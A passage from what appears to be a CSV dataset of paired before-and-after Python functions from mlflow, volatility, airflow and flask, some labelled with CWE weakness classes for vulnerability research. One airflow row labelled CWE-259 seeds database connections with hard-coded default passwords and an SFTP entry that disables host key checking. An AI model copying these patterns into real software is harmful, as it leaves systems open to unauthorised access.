with batch_metrics_logger(run_id) as metrics_logger:
# Check if the 'callback' argument of fit() is set positionally
if len(args) >= 6:
# Convert the positional training function arguments to a list in order to
# mutate the contents
args = list(args)
# Make a shallow copy of the preexisting callbacks to avoid permanently
# modifying their contents for future training invocations. Introduce
# TensorBoard & tf.keras callbacks if necessary
callbacks = list(args[5])
callbacks, self.log_dir = _setup_callbacks(callbacks, metrics_logger)
# Replace the callbacks positional entry in the copied arguments and convert
# the arguments back to tuple form for usage in the training function
args[5] = callbacks
args = tuple(args)
else:
# Make a shallow copy of the preexisting callbacks and introduce TensorBoard
# & tf.keras callbacks if necessary
callbacks = list(kwargs.get(""callbacks"") or [])
kwargs[""callbacks""], self.log_dir = _setup_callbacks(callbacks, metrics_logger)
early_stop_callback = _get_early_stop_callback(callbacks)
_log_early_stop_callback_params(early_stop_callback)
history = original(inst, *args, **kwargs)
if log_models:
_log_keras_model(history, args)
_log_early_stop_callback_metrics(
callback=early_stop_callback,
history=history,
metrics_logger=metrics_logger,
)
_flush_queue()
mlflow.log_artifacts(
local_dir=self.log_dir.location,
artifact_path=""tensorboard_logs"",
)
if self.log_dir.is_temp:
shutil.rmtree(self.log_dir.location)
return history
def _on_exception(self, exception):
if (
self.log_dir is not None
and self.log_dir.is_temp
and os.path.exists(self.log_dir.location)
):
shutil.rmtree(self.log_dir.location)
managed = [
(tensorflow.keras.Model, ""fit"", FitPatch),
]
for p in managed:
safe_patch(FLAVOR_NAME, *p, manage_run=True)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/taskmods.py,0,"def render_text(self, outfd, data):
offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""
self.table_header(outfd,
[(""Offset{0}"".format(offsettype), ""[addrpad]""),
(""Name"", ""20s""),
(""PID"", "">6""),
(""PPID"", "">6""),
(""Thds"", "">6""),
(""Hnds"", "">8""),
(""Sess"", "">6""),
(""Wow64"", "">6""),
(""Start"", ""20""),
(""Exit"", ""20"")]
)
for task in data:
# PHYSICAL_OFFSET must STRICTLY only be used in the results. If it's used for anything else,
# it needs to have cache_invalidator set to True in the options
if not self._config.PHYSICAL_OFFSET:
offset = task.obj_offset
else:
offset = task.obj_vm.vtop(task.obj_offset)
self.table_row(outfd,
offset,
task.ImageFileName,
task.UniqueProcessId,
task.InheritedFromUniqueProcessId,
task.ActiveThreads,
task.ObjectTable.HandleCount,
task.SessionId,
task.IsWow64,
str(task.CreateTime or ''),
str(task.ExitTime or ''),
)",,volatilityfoundation/volatility,090a3a9b8848123ba59096b476773b0b55c32767,"def render_text(self, outfd, data):
offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""
self.table_header(outfd,
[(""Offset{0}"".format(offsettype), ""[addrpad]""),
(""Name"", ""20s""),
(""PID"", "">6""),
(""PPID"", "">6""),
(""Thds"", "">6""),
(""Hnds"", "">6""),
(""Sess"", "">6""),
(""Wow64"", "">6""),
(""Start"", ""20""),
(""Exit"", ""20"")]
)
for task in data:
# PHYSICAL_OFFSET must STRICTLY only be used in the results. If it's used for anything else,
# it needs to have cache_invalidator set to True in the options
if not self._config.PHYSICAL_OFFSET:
offset = task.obj_offset
else:
offset = task.obj_vm.vtop(task.obj_offset)
self.table_row(outfd,
offset,
task.ImageFileName,
task.UniqueProcessId,
task.InheritedFromUniqueProcessId,
task.ActiveThreads,
task.ObjectTable.HandleCount,
task.SessionId,
task.IsWow64,
str(task.CreateTime or ''),
str(task.ExitTime or ''),
)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/lightgbm.py,0,"def log_model(
lgb_model,
artifact_path,
conda_env=None,
code_paths=None,
registered_model_name=None,
signature: ModelSignature = None,
input_example: ModelInputExample = None,
await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
pip_requirements=None,
extra_pip_requirements=None,
metadata=None,
**kwargs,
):
""""""
Log a LightGBM model as an MLflow artifact for the current run.
:param lgb_model: LightGBM model (an instance of `lightgbm.Booster`_) or
models that implement the `scikit-learn API`_ to be saved.
:param artifact_path: Run-relative artifact path.
:param conda_env: {{ conda_env }}
:param code_paths: A list of local filesystem paths to Python file dependencies (or directories
containing file dependencies). These files are *prepended* to the system
path when the model is loaded.
:param registered_model_name: If given, create a model version under
``registered_model_name``, also creating a registered model if one
with the given name does not exist.
:param signature: :py:class:`ModelSignature `
describes model input and output :py:class:`Schema `.
The model signature can be :py:func:`inferred `
from datasets with valid model input (e.g. the training dataset with target
column omitted) and valid model output (e.g. model predictions generated on
the training dataset), for example:
.. code-block:: python
from mlflow.models.signature import infer_signature
train = df.drop_column(""target_label"")
predictions = ... # compute model predictions
signature = infer_signature(train, predictions)
:param input_example: Input example provides one or several instances of valid
model input. The example can be used as a hint of what data to feed the
model. The given example will be converted to a Pandas DataFrame and then
serialized to json using the Pandas split-oriented format. Bytes are
base64-encoded.
:param await_registration_for: Number of seconds to wait for the model version to finish
being created and is in ``READY`` status. By default, the function
waits for five minutes. Specify 0 or None to skip waiting.
:param pip_requirements: {{ pip_requirements }}
:param extra_pip_requirements: {{ extra_pip_requirements }}
:param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.
.. Note:: Experimental: This parameter may change or be removed in a future
release without warning.
:param kwargs: kwargs to pass to `lightgbm.Booster.save_model`_ method.
:return: A :py:class:`ModelInfo ` instance that contains the
metadata of the logged model.
.. code-block:: python
:caption: Example
from lightgbm import LGBMClassifier
from sklearn import datasets
import mlflow
from mlflow.models.signature import infer_signature
# Load iris dataset
X, y = datasets.load_iris(return_X_y=True, as_frame=True)
# Initialize our model
model = LGBMClassifier(objective=""multiclass"", random_state=42)
# Train the model
model.fit(X, y)
# Create model signature
predictions = model.predict(X)
signature = infer_signature(X, predictions)
# Log the model
artifact_path = ""model""
with mlflow.start_run():
model_info = mlflow.lightgbm.log_model(model, artifact_path, signature=signature)
# Fetch the logged model artifacts
print(f""run_id: {run.info.run_id}"")
client = mlflow.MlflowClient()
artifacts = [f.path for f in client.list_artifacts(run.info.run_id, artifact_path)]
print(f""artifacts: {artifacts}"")
.. code-block:: text
:caption: Output
artifacts: ['model/MLmodel',
'model/conda.yaml',
'model/model.pkl',
'model/python_env.yaml',
'model/requirements.txt']
""""""
return Model.log(
artifact_path=artifact_path,
flavor=mlflow.lightgbm,
registered_model_name=registered_model_name,
lgb_model=lgb_model,
conda_env=conda_env,
code_paths=code_paths,
signature=signature,
input_example=input_example,
await_registration_for=await_registration_for,
pip_requirements=pip_requirements,
extra_pip_requirements=extra_pip_requirements,
metadata=metadata,
**kwargs,
)",,mlflow/mlflow,281c22293556fa634836f16048d5ce93f7587922,"def log_model(
lgb_model,
artifact_path,
conda_env=None,
code_paths=None,
registered_model_name=None,
signature: ModelSignature = None,
input_example: ModelInputExample = None,
await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
pip_requirements=None,
extra_pip_requirements=None,
metadata=None,
**kwargs,
):
""""""
Log a LightGBM model as an MLflow artifact for the current run.
:param lgb_model: LightGBM model (an instance of `lightgbm.Booster`_) or
models that implement the `scikit-learn API`_ to be saved.
:param artifact_path: Run-relative artifact path.
:param conda_env: {{ conda_env }}
:param code_paths: A list of local filesystem paths to Python file dependencies (or directories
containing file dependencies). These files are *prepended* to the system
path when the model is loaded.
:param registered_model_name: If given, create a model version under
``registered_model_name``, also creating a registered model if one
with the given name does not exist.
:param signature: :py:class:`ModelSignature `
describes model input and output :py:class:`Schema `.
The model signature can be :py:func:`inferred `
from datasets with valid model input (e.g. the training dataset with target
column omitted) and valid model output (e.g. model predictions generated on
the training dataset), for example:
.. code-block:: python
from mlflow.models.signature import infer_signature
train = df.drop_column(""target_label"")
predictions = ... # compute model predictions
signature = infer_signature(train, predictions)
:param input_example: Input example provides one or several instances of valid
model input. The example can be used as a hint of what data to feed the
model. The given example will be converted to a Pandas DataFrame and then
serialized to json using the Pandas split-oriented format. Bytes are
base64-encoded.
:param await_registration_for: Number of seconds to wait for the model version to finish
being created and is in ``READY`` status. By default, the function
waits for five minutes. Specify 0 or None to skip waiting.
:param pip_requirements: {{ pip_requirements }}
:param extra_pip_requirements: {{ extra_pip_requirements }}
:param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.
.. Note:: Experimental: This parameter may change or be removed in a future
release without warning.
:param kwargs: kwargs to pass to `lightgbm.Booster.save_model`_ method.
:return: A :py:class:`ModelInfo ` instance that contains the
metadata of the logged model.
.. code-block:: python
:caption: Example
from lightgbm import LGBMClassifier
from sklearn import datasets
import mlflow
# Load iris dataset
X, y = datasets.load_iris(return_X_y=True, as_frame=True)
# Initialize our model
model = LGBMClassifier(objective=""multiclass"", random_state=42)
# Train the model
model.fit(X, y)
# Log the model
artifact_path = ""model""
with mlflow.start_run():
model_info = mlflow.lightgbm.log_model(model, artifact_path)
# Fetch the logged model artifacts
print(f""run_id: {run.info.run_id}"")
client = mlflow.MlflowClient()
artifacts = [f.path for f in client.list_artifacts(run.info.run_id, artifact_path)]
print(f""artifacts: {artifacts}"")
.. code-block:: text
:caption: Output
artifacts: ['model/MLmodel',
'model/conda.yaml',
'model/model.pkl',
'model/python_env.yaml',
'model/requirements.txt']
""""""
return Model.log(
artifact_path=artifact_path,
flavor=mlflow.lightgbm,
registered_model_name=registered_model_name,
lgb_model=lgb_model,
conda_env=conda_env,
code_paths=code_paths,
signature=signature,
input_example=input_example,
await_registration_for=await_registration_for,
pip_requirements=pip_requirements,
extra_pip_requirements=extra_pip_requirements,
metadata=metadata,
**kwargs,
)"
,UNKNOWN,UNKNOWN,tests/api_internal/endpoints/test_rpc_api_endpoint.py,1,"def test_initialize_method_map(self):
from airflow.api_internal.endpoints.rpc_api_endpoint import initialize_method_map
method_map = initialize_method_map()
assert len(method_map) > 69",CWE-703,apache/airflow,2db0d11c1568b2db39c8ff40c44a0a295419fa22,"def test_initialize_method_map(self):
from airflow.api_internal.endpoints.rpc_api_endpoint import initialize_method_map
method_map = initialize_method_map()
assert len(method_map) > 70"
,UNKNOWN,UNKNOWN,tests/onnx/test_onnx_model_export.py,1,"def test_model_save_without_specified_conda_env_uses_default_env_with_expected_dependencies(
onnx_model, model_path
):
mlflow.onnx.save_model(onnx_model=onnx_model, path=model_path)
_assert_pip_requirements(model_path, mlflow.onnx.get_default_pip_requirements())",CWE-703,mlflow/mlflow,a9683f907f29f9fcd06459e4ab60eaa3be334cbc,"def test_model_save_without_specified_conda_env_uses_default_env_with_expected_dependencies(
onnx_model, model_path
):
mlflow.onnx.save_model(onnx_model=onnx_model, path=model_path)
pyfunc_conf = _get_flavor_configuration(model_path=model_path, flavor_name=pyfunc.FLAVOR_NAME)
conda_env_path = os.path.join(model_path, pyfunc_conf[pyfunc.ENV])
with open(conda_env_path, ""r"") as f:
conda_env = yaml.safe_load(f)
assert conda_env == mlflow.onnx.get_default_conda_env()"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def initdb(rbac=False):
session = settings.Session()
from airflow import models
upgradedb()
merge_conn(
models.Connection(
conn_id='airflow_db', conn_type='mysql',
host='localhost', login='root', password='',
schema='airflow'))
merge_conn(
models.Connection(
conn_id='airflow_ci', conn_type='mysql',
host='localhost', login='root', extra=""{\""local_infile\"": true}"",
schema='airflow_ci'))
merge_conn(
models.Connection(
conn_id='beeline_default', conn_type='beeline', port=""10000"",
host='localhost', extra=""{\""use_beeline\"": true, \""auth\"": \""\""}"",
schema='default'))
merge_conn(
models.Connection(
conn_id='bigquery_default', conn_type='google_cloud_platform',
schema='default'))
merge_conn(
models.Connection(
conn_id='local_mysql', conn_type='mysql',
host='localhost', login='airflow', password='airflow',
schema='airflow'))
merge_conn(
models.Connection(
conn_id='presto_default', conn_type='presto',
host='localhost',
schema='hive', port=3400))
merge_conn(
models.Connection(
conn_id='google_cloud_default', conn_type='google_cloud_platform',
schema='default',))
merge_conn(
models.Connection(
conn_id='hive_cli_default', conn_type='hive_cli',
schema='default',))
merge_conn(
models.Connection(
conn_id='hiveserver2_default', conn_type='hiveserver2',
host='localhost',
schema='default', port=10000))
merge_conn(
models.Connection(
conn_id='metastore_default', conn_type='hive_metastore',
host='localhost', extra=""{\""authMechanism\"": \""PLAIN\""}"",
port=9083))
merge_conn(
models.Connection(
conn_id='mongo_default', conn_type='mongo',
host='localhost', port=27017))
merge_conn(
models.Connection(
conn_id='mysql_default', conn_type='mysql',
login='root',
host='localhost'))
merge_conn(
models.Connection(
conn_id='postgres_default', conn_type='postgres',
login='postgres',
schema='airflow',
host='localhost'))
merge_conn(
models.Connection(
conn_id='sqlite_default', conn_type='sqlite',
host='/tmp/sqlite_default.db'))
merge_conn(
models.Connection(
conn_id='http_default', conn_type='http',
host='https://www.google.com/'))
merge_conn(
models.Connection(
conn_id='mssql_default', conn_type='mssql',
host='localhost', port=1433))
merge_conn(
models.Connection(
conn_id='vertica_default', conn_type='vertica',
host='localhost', port=5433))
merge_conn(
models.Connection(
conn_id='wasb_default', conn_type='wasb',
extra='{""sas_token"": null}'))
merge_conn(
models.Connection(
conn_id='webhdfs_default', conn_type='hdfs',
host='localhost', port=50070))
merge_conn(
models.Connection(
conn_id='ssh_default', conn_type='ssh',
host='localhost'))
merge_conn(
models.Connection(
conn_id='sftp_default', conn_type='sftp',
host='localhost', port=22, login='travis',
extra='''
{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}
'''))
merge_conn(
models.Connection(
conn_id='fs_default', conn_type='fs',
extra='{""path"": ""/""}'))
merge_conn(
models.Connection(
conn_id='aws_default', conn_type='aws',
extra='{""region_name"": ""us-east-1""}'))
merge_conn(
models.Connection(
conn_id='spark_default', conn_type='spark',
host='yarn', extra='{""queue"": ""root.default""}'))
merge_conn(
models.Connection(
conn_id='druid_broker_default', conn_type='druid',
host='druid-broker', port=8082, extra='{""endpoint"": ""druid/v2/sql""}'))
merge_conn(
models.Connection(
conn_id='druid_ingest_default', conn_type='druid',
host='druid-overlord', port=8081, extra='{""endpoint"": ""druid/indexer/v1/task""}'))
merge_conn(
models.Connection(
conn_id='redis_default', conn_type='redis',
host='localhost', port=6379,
extra='{""db"": 0}'))
merge_conn(
models.Connection(
conn_id='sqoop_default', conn_type='sqoop',
host='rmdbs', extra=''))
merge_conn(
models.Connection(
conn_id='emr_default', conn_type='emr',
extra='''
{ ""Name"": ""default_job_flow_name"",
""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
""ReleaseLabel"": ""emr-4.6.0"",
""Instances"": {
""Ec2KeyName"": ""mykey"",
""Ec2SubnetId"": ""somesubnet"",
""InstanceGroups"": [
{
""Name"": ""Master nodes"",
""Market"": ""ON_DEMAND"",
""InstanceRole"": ""MASTER"",
""InstanceType"": ""r3.2xlarge"",
""InstanceCount"": 1
},
{
""Name"": ""Slave nodes"",
""Market"": ""ON_DEMAND"",
""InstanceRole"": ""CORE"",
""InstanceType"": ""r3.2xlarge"",
""InstanceCount"": 1
}
],
""TerminationProtected"": false,
""KeepJobFlowAliveWhenNoSteps"": false
},
""Applications"":[
{ ""Name"": ""Spark"" }
],
""VisibleToAllUsers"": true,
""JobFlowRole"": ""EMR_EC2_DefaultRole"",
""ServiceRole"": ""EMR_DefaultRole"",
""Tags"": [
{
""Key"": ""app"",
""Value"": ""analytics""
},
{
""Key"": ""environment"",
""Value"": ""development""
}
]
}
'''))
merge_conn(
models.Connection(
conn_id='databricks_default', conn_type='databricks',
host='localhost'))
merge_conn(
models.Connection(
conn_id='qubole_default', conn_type='qubole',
host= 'localhost'))
merge_conn(
models.Connection(
conn_id='segment_default', conn_type='segment',
extra='{""write_key"": ""my-segment-write-key""}')),
merge_conn(
models.Connection(
conn_id='azure_data_lake_default', conn_type='azure_data_lake',
extra='{""tenant"": """", ""account_name"": """" }'))
merge_conn(
models.Connection(
conn_id='cassandra_default', conn_type='cassandra',
host='localhost', port=9042))
# Known event types
KET = models.KnownEventType
if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
session.add(KET(know_event_type='Holiday'))
if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
session.add(KET(know_event_type='Outage'))
if not session.query(KET).filter(
KET.know_event_type == 'Natural Disaster').first():
session.add(KET(know_event_type='Natural Disaster'))
if not session.query(KET).filter(
KET.know_event_type == 'Marketing Campaign').first():
session.add(KET(know_event_type='Marketing Campaign'))
session.commit()
dagbag = models.DagBag()
# Save individual DAGs in the ORM
for dag in dagbag.dags.values():
dag.sync_to_db()
# Deactivate the unknown ones
models.DAG.deactivate_unknown_dags(dagbag.dags.keys())
Chart = models.Chart
chart_label = ""Airflow task instance by type""
chart = session.query(Chart).filter(Chart.label == chart_label).first()
if not chart:
chart = Chart(
label=chart_label,
conn_id='airflow_db',
chart_type='bar',
x_is_date=False,
sql=(
""SELECT state, COUNT(1) as number ""
""FROM task_instance ""
""WHERE dag_id LIKE 'example%' ""
""GROUP BY state""),
)
session.add(chart)
session.commit()
if rbac:
from flask_appbuilder.security.sqla import models
from flask_appbuilder.models.sqla import Base
Base.metadata.create_all(settings.engine)",CWE-259,apache/airflow,f3d5a70abccc57fe1f77b83d53d83015574511d5,"def initdb(rbac=False):
session = settings.Session()
from airflow import models
upgradedb()
merge_conn(
models.Connection(
conn_id='airflow_db', conn_type='mysql',
host='localhost', login='root', password='',
schema='airflow'))
merge_conn(
models.Connection(
conn_id='airflow_ci', conn_type='mysql',
host='localhost', login='root', extra=""{\""local_infile\"": true}"",
schema='airflow_ci'))
merge_conn(
models.Connection(
conn_id='beeline_default', conn_type='beeline', port=""10000"",
host='localhost', extra=""{\""use_beeline\"": true, \""auth\"": \""\""}"",
schema='default'))
merge_conn(
models.Connection(
conn_id='bigquery_default', conn_type='google_cloud_platform',
schema='default'))
merge_conn(
models.Connection(
conn_id='local_mysql', conn_type='mysql',
host='localhost', login='airflow', password='airflow',
schema='airflow'))
merge_conn(
models.Connection(
conn_id='presto_default', conn_type='presto',
host='localhost',
schema='hive', port=3400))
merge_conn(
models.Connection(
conn_id='google_cloud_default', conn_type='google_cloud_platform',
schema='default',))
merge_conn(
models.Connection(
conn_id='hive_cli_default', conn_type='hive_cli',
schema='default',))
merge_conn(
models.Connection(
conn_id='hiveserver2_default', conn_type='hiveserver2',
host='localhost',
schema='default', port=10000))
merge_conn(
models.Connection(
conn_id='metastore_default', conn_type='hive_metastore',
host='localhost', extra=""{\""authMechanism\"": \""PLAIN\""}"",
port=9083))
merge_conn(
models.Connection(
conn_id='mongo_default', conn_type='mongo',
host='localhost', port=27017))
merge_conn(
models.Connection(
conn_id='mysql_default', conn_type='mysql',
login='root',
host='localhost'))
merge_conn(
models.Connection(
conn_id='postgres_default', conn_type='postgres',
login='postgres',
schema='airflow',
host='localhost'))
merge_conn(
models.Connection(
conn_id='sqlite_default', conn_type='sqlite',
host='/tmp/sqlite_default.db'))
merge_conn(
models.Connection(
conn_id='http_default', conn_type='http',
host='https://www.google.com/'))
merge_conn(
models.Connection(
conn_id='mssql_default', conn_type='mssql',
host='localhost', port=1433))
merge_conn(
models.Connection(
conn_id='vertica_default', conn_type='vertica',
host='localhost', port=5433))
merge_conn(
models.Connection(
conn_id='wasb_default', conn_type='wasb',
extra='{""sas_token"": null}'))
merge_conn(
models.Connection(
conn_id='webhdfs_default', conn_type='hdfs',
host='localhost', port=50070))
merge_conn(
models.Connection(
conn_id='ssh_default', conn_type='ssh',
host='localhost'))
merge_conn(
models.Connection(
conn_id='sftp_default', conn_type='sftp',
host='localhost', port=22, login='travis',
extra='''
{""private_key"": ""~/.ssh/id_rsa"", ""ignore_hostkey_verification"": true}
'''))
merge_conn(
models.Connection(
conn_id='fs_default', conn_type='fs',
extra='{""path"": ""/""}'))
merge_conn(
models.Connection(
conn_id='aws_default', conn_type='aws',
extra='{""region_name"": ""us-east-1""}'))
merge_conn(
models.Connection(
conn_id='spark_default', conn_type='spark',
host='yarn', extra='{""queue"": ""root.default""}'))
merge_conn(
models.Connection(
conn_id='druid_broker_default', conn_type='druid',
host='druid-broker', port=8082, extra='{""endpoint"": ""druid/v2/sql""}'))
merge_conn(
models.Connection(
conn_id='druid_ingest_default', conn_type='druid',
host='druid-overlord', port=8081, extra='{""endpoint"": ""druid/indexer/v1/task""}'))
merge_conn(
models.Connection(
conn_id='redis_default', conn_type='redis',
host='localhost', port=6379,
extra='{""db"": 0}'))
merge_conn(
models.Connection(
conn_id='sqoop_default', conn_type='sqoop',
host='rmdbs', extra=''))
merge_conn(
models.Connection(
conn_id='emr_default', conn_type='emr',
extra='''
{ ""Name"": ""default_job_flow_name"",
""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
""ReleaseLabel"": ""emr-4.6.0"",
""Instances"": {
""Ec2KeyName"": ""mykey"",
""Ec2SubnetId"": ""somesubnet"",
""InstanceGroups"": [
{
""Name"": ""Master nodes"",
""Market"": ""ON_DEMAND"",
""InstanceRole"": ""MASTER"",
""InstanceType"": ""r3.2xlarge"",
""InstanceCount"": 1
},
{
""Name"": ""Slave nodes"",
""Market"": ""ON_DEMAND"",
""InstanceRole"": ""CORE"",
""InstanceType"": ""r3.2xlarge"",
""InstanceCount"": 1
}
],
""TerminationProtected"": false,
""KeepJobFlowAliveWhenNoSteps"": false
},
""Applications"":[
{ ""Name"": ""Spark"" }
],
""VisibleToAllUsers"": true,
""JobFlowRole"": ""EMR_EC2_DefaultRole"",
""ServiceRole"": ""EMR_DefaultRole"",
""Tags"": [
{
""Key"": ""app"",
""Value"": ""analytics""
},
{
""Key"": ""environment"",
""Value"": ""development""
}
]
}
'''))
merge_conn(
models.Connection(
conn_id='databricks_default', conn_type='databricks',
host='localhost'))
merge_conn(
models.Connection(
conn_id='qubole_default', conn_type='qubole',
host= 'localhost'))
merge_conn(
models.Connection(
conn_id='segment_default', conn_type='segment',
extra='{""write_key"": ""my-segment-write-key""}')),
merge_conn(
models.Connection(
conn_id='azure_data_lake_default', conn_type='azure_data_lake',
extra='{""tenant"": """", ""account_name"": """" }'))
merge_conn(
models.Connection(
conn_id='cassandra_default', conn_type='cassandra',
host='localhost', port=9042))
# Known event types
KET = models.KnownEventType
if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
session.add(KET(know_event_type='Holiday'))
if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
session.add(KET(know_event_type='Outage'))
if not session.query(KET).filter(
KET.know_event_type == 'Natural Disaster').first():
session.add(KET(know_event_type='Natural Disaster'))
if not session.query(KET).filter(
KET.know_event_type == 'Marketing Campaign').first():
session.add(KET(know_event_type='Marketing Campaign'))
session.commit()
dagbag = models.DagBag()
# Save individual DAGs in the ORM
for dag in dagbag.dags.values():
dag.sync_to_db()
# Deactivate the unknown ones
models.DAG.deactivate_unknown_dags(dagbag.dags.keys())
Chart = models.Chart
chart_label = ""Airflow task instance by type""
chart = session.query(Chart).filter(Chart.label == chart_label).first()
if not chart:
chart = Chart(
label=chart_label,
conn_id='airflow_db',
chart_type='bar',
x_is_date=False,
sql=(
""SELECT state, COUNT(1) as number ""
""FROM task_instance ""
""WHERE dag_id LIKE 'example%' ""
""GROUP BY state""),
)
session.add(chart)
session.commit()
if rbac:
from flask_appbuilder.security.sqla import models
from flask_appbuilder.models.sqla import Base
Base.metadata.create_all(settings.engine)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-core/src/airflow/models/dag_version.py,0,"def write_dag(
cls,
*,
dag_id: str,
bundle_name: str,
bundle_version: str | None = None,
version_number: int = 1,
session: Session = NEW_SESSION,
) -> DagVersion:
""""""
Write a new DagVersion into database.
Checks if a version of the DAG exists and increments the version number if it does.
:param dag_id: The DAG ID.
:param version_number: The version number.
:param session: The database session.
:return: The DagVersion object.
""""""
existing_dag_version = session.scalar(
with_row_locks(cls._latest_version_select(dag_id), of=DagVersion, session=session, nowait=True)
)
if existing_dag_version:
version_number = existing_dag_version.version_number + 1
dag_version = DagVersion(
dag_id=dag_id,
version_number=version_number,
bundle_name=bundle_name,
bundle_version=bundle_version,
)
log.debug(""Writing DagVersion %s to the DB"", dag_version)
session.add(dag_version)
session.commit()
log.debug(""DagVersion %s written to the DB"", dag_version)
return dag_version",CWE-Unknown,apache/airflow,7494d0f8ac9e56b808025ec50657c05194fc5da6,"def write_dag(
cls,
*,
dag_id: str,
bundle_name: str,
bundle_version: str | None = None,
version_number: int = 1,
session: Session = NEW_SESSION,
) -> DagVersion:
""""""
Write a new DagVersion into database.
Checks if a version of the DAG exists and increments the version number if it does.
:param dag_id: The DAG ID.
:param version_number: The version number.
:param session: The database session.
:return: The DagVersion object.
""""""
existing_dag_version = session.scalar(
with_row_locks(cls._latest_version_select(dag_id), of=DagVersion, session=session, nowait=True)
)
if existing_dag_version:
version_number = existing_dag_version.version_number + 1
dag_version = DagVersion(
dag_id=dag_id,
version_number=version_number,
bundle_name=bundle_name,
bundle_version=bundle_version,
)
log.debug(""Writing DagVersion %s to the DB"", dag_version)
session.add(dag_version)
log.debug(""DagVersion %s written to the DB"", dag_version)
return dag_version"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/transfers/test_bigquery_to_gcs.py,1,"def test_execute_deferrable_mode(self, mock_hook):
source_project_dataset_table = f""{PROJECT_ID}:{TEST_DATASET}.{TEST_TABLE_ID}""
destination_cloud_storage_uris = [""gs://some-bucket/some-file.txt""]
compression = ""NONE""
export_format = ""CSV""
field_delimiter = "",""
print_header = True
labels = {""k1"": ""v1""}
job_id = ""123456""
hash_ = ""hash""
real_job_id = f""{job_id}_{hash_}""
expected_configuration = {
""extract"": {
""sourceTable"": {
""projectId"": ""test-project-id"",
""datasetId"": ""test-dataset"",
""tableId"": ""test-table-id"",
},
""compression"": ""NONE"",
""destinationUris"": [""gs://some-bucket/some-file.txt""],
""destinationFormat"": ""CSV"",
""fieldDelimiter"": "","",
""printHeader"": True,
},
""labels"": {""k1"": ""v1""},
}
mock_hook.return_value.split_tablename.return_value = (PROJECT_ID, TEST_DATASET, TEST_TABLE_ID)
mock_hook.return_value.generate_job_id.return_value = real_job_id
mock_hook.return_value.insert_job.return_value = MagicMock(job_id=""real_job_id"", error_result=False)
mock_hook.return_value.project_id = JOB_PROJECT_ID
operator = BigQueryToGCSOperator(
project_id=JOB_PROJECT_ID,
task_id=TASK_ID,
source_project_dataset_table=source_project_dataset_table,
destination_cloud_storage_uris=destination_cloud_storage_uris,
compression=compression,
export_format=export_format,
field_delimiter=field_delimiter,
print_header=print_header,
labels=labels,
deferrable=True,
)
with pytest.raises(TaskDeferred) as exc:
operator.execute(context=mock.MagicMock())
assert isinstance(
exc.value.trigger, BigQueryInsertJobTrigger
), ""Trigger is not a BigQueryInsertJobTrigger""
mock_hook.return_value.insert_job.assert_called_once_with(
configuration=expected_configuration,
job_id=""123456_hash"",
project_id=JOB_PROJECT_ID,
location=None,
timeout=None,
retry=DEFAULT_RETRY,
nowait=True,
)",CWE-703,apache/airflow,47e7e254ba171fc950a69c41d94cb80019d83661,"def test_execute_deferrable_mode(self, mock_hook):
source_project_dataset_table = f""{PROJECT_ID}:{TEST_DATASET}.{TEST_TABLE_ID}""
destination_cloud_storage_uris = [""gs://some-bucket/some-file.txt""]
compression = ""NONE""
export_format = ""CSV""
field_delimiter = "",""
print_header = True
labels = {""k1"": ""v1""}
job_id = ""123456""
hash_ = ""hash""
real_job_id = f""{job_id}_{hash_}""
expected_configuration = {
""extract"": {
""sourceTable"": {
""projectId"": ""test-project-id"",
""datasetId"": ""test-dataset"",
""tableId"": ""test-table-id"",
},
""compression"": ""NONE"",
""destinationUris"": [""gs://some-bucket/some-file.txt""],
""destinationFormat"": ""CSV"",
""fieldDelimiter"": "","",
""printHeader"": True,
},
""labels"": {""k1"": ""v1""},
}
mock_hook.return_value.split_tablename.return_value = (PROJECT_ID, TEST_DATASET, TEST_TABLE_ID)
mock_hook.return_value.generate_job_id.return_value = real_job_id
mock_hook.return_value.insert_job.return_value = MagicMock(job_id=""real_job_id"", error_result=False)
mock_hook.return_value.project_id = JOB_PROJECT_ID
operator = BigQueryToGCSOperator(
project_id=JOB_PROJECT_ID,
task_id=TASK_ID,
source_project_dataset_table=source_project_dataset_table,
destination_cloud_storage_uris=destination_cloud_storage_uris,
compression=compression,
export_format=export_format,
field_delimiter=field_delimiter,
print_header=print_header,
labels=labels,
deferrable=True,
)
with pytest.raises(TaskDeferred) as exc:
operator.execute(context=mock.MagicMock())
assert isinstance(
exc.value.trigger, BigQueryInsertJobTrigger
), ""Trigger is not a BigQueryInsertJobTrigger""
mock_hook.return_value.insert_job.assert_called_once_with(
configuration=expected_configuration,
job_id=""123456_hash"",
project_id=JOB_PROJECT_ID,
location=None,
timeout=None,
retry=DEFAULT_RETRY,
nowait=True,
)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/scaffold.py,0,"def teardown_request(self, f: TeardownCallable) -> TeardownCallable:
""""""Register a function to be run at the end of each request,
regardless of whether there was an exception or not. These functions
are executed when the request context is popped, even if not an
actual request was performed.
Example::
ctx = app.test_request_context()
ctx.push()
...
ctx.pop()
When ``ctx.pop()`` is executed in the above example, the teardown
functions are called just before the request context moves from the
stack of active contexts. This becomes relevant if you are using
such constructs in tests.
Teardown functions must avoid raising exceptions. If
they execute code that might fail they
will have to surround the execution of that code with try/except
statements and log any errors.
When a teardown function was called because of an exception it will
be passed an error object.
The return values of teardown functions are ignored.
.. admonition:: Debug Note
In debug mode Flask will not tear down a request on an exception
immediately. Instead it will keep it alive so that the interactive
debugger can still access it. This behavior can be controlled
by the ``PRESERVE_CONTEXT_ON_EXCEPTION`` configuration variable.
""""""
self.teardown_request_funcs.setdefault(None, []).append(f)
